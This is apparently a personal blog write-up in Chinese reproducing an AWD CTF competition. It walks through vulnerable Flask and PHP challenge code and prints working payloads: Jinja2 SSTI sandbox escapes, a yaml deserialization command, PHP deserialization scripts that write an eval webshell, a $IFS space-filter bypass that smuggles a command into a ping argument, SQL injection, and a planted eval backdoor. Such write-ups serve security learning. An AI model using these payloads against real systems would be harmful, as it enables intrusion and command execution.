应急挑战杯2019复现

历史文章补发

前言

第一次线下AWD,打的有些遗憾,不过还是学到了许多东西,因为是awd的原因,题目整体难度挺低的,将题目完整复现一下

Flask商城

popen()命令执行

在search路由处存在命令执行漏洞

1
2
3
4
5
6
7
8
if request.method == "POST":
url = request.form['search']

msg = os.popen(url).read()
if not msg == '':
return render_template("search.html", msg=msg)
else:
return render_template("search.html", msg="Error.Check your command.")

非常明显的一个命令执行,popen函数用于从一个命令打开一个管道,会返回一个文件对象,所以可以被用来执行任意系统命令,由于比赛使用的gunicorn服务器,很多人修了洞之后却无法生效(因为没有重启gunicorn服务…)

SSTI漏洞

在定义404返回的路由处存在ssti

1
2
3
4
5
6
7
8
9
10
11
12
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>哇哦,This page doesn't exist.</h1>
<h3>%s</h3>
<h3>这里什么都没有呢٩(๑❛ᴗ❛๑)۶</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

找到SSTI漏洞,接下来就是沙盒逃逸,可用payload如下:

1
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").system("cat /flag > /home/snow/sandbox")')'

实例调用__class__属性时会指向该实例所对应的类;由于python允许多重继承,__mro__可以得到该类继承的父类,builtins是解释器自动导入的内置类,__import__()函数能够动态导入一些类从而进行命令执行

由于flask使用的模板渲染引擎是jinja2,所以payload还可以更简单一些,我们其实随便输入字符串都是有用的,jinja会生成一个undefined类<class 'jinja2.runtime.Undefined'>,我们可以直接进行逃逸

1
vvv.__class__.__init__.__globals__['__builtins__']['eval']('__import__("os").system("cat /flag > /home/snow/sandbox")')

yaml反序列化

yaml库在使用yaml.load()方法解析yaml文件时会存在反序列化漏洞,可以使用yaml.safe_load()方法来避免该漏洞

想要序列化的类名必须使用上下文中存在的类名,但是类名中不一定有执行命令的相应方法,所以最好是通过构造标准类或类函数来实现命令执行,编辑如下文件并上传即可

1
2
3
*-* exp.yml *-*

!!python/object/new:subprocess.check_output [["cat","/flag"]]

easyweb

1、 反序列化

反序列化漏洞有两处

第一处在首页存在提示

定位到cacf.php,查看代码,可以通过反序列化进行文件写入

1
2
3
4
5
6
7
8
9
class chybeta{
//
var $test = 'pcaq';
function __wakeup(){
$fp = fopen("log.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}

反序列化写入shell

1
2
3
4
5
6
7
8
<?php 
class chybeta{
//
var $test = '<?php eval($_GET["snow"]);?>';
}
$a = new chybeta();
$a = serialize($a);
echo $a;

第二处在common/home.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class home{

private $method;
private $args;
function __construct($method, $args) {


$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));

在析构函数中通过调用ping函数可以实现命令执行,但是在waf函数中屏蔽了空格,用$IFS可以绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$arr = array("127.0.0.1;cat\$IFS/flag");
$obj = new home("ping" ,$arr);
$obj = serialize($obj);
$obj = base64_encode($obj);
echo $obj;

2、万能密码

登录处存在sql注入

1
$sql="select * from users where username='$username' and password='$password'";

可以通过万能密码登录

密码更新处同样也存在update注入

1
$sql="update users set password='$password' where id='".$_SESSION['id']."';";

3、命令执行

在User.php中存在ping函数可以进行命令执行

1
2
3
4
function ping(){
$host = $_POST['host'];
system("ping -c $host");
}

4、预置后门

预置后门有两个,一个在include/shell.php

1
2
<?php
@eval($_POST['admin_ccmd']);

另一个在org/smarty/Autofoucer.php

5、日志文件写入

根目录下log.php会记录网站访问记录,可以通过构造恶意访问写入shell

6、上传漏洞

登录之后存在上传界面,查看上传逻辑代码

1
2
3
4
5
6
7
8
$this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
function save(){
$id=$_SESSION['id'];
$upfile=$_FILES['pic'];
$fileinfo=pathinfo($upfile["name"]);
if(in_array($fileinfo["extension"],$this->notallow)){
exit('error');
}

没有对大小写进行过滤,可以构造恶意文件上传

Thinkphp5

公开CVE,略

reference:
https://xz.aliyun.com/t/52
https://xz.aliyun.com/t/2908#toc-0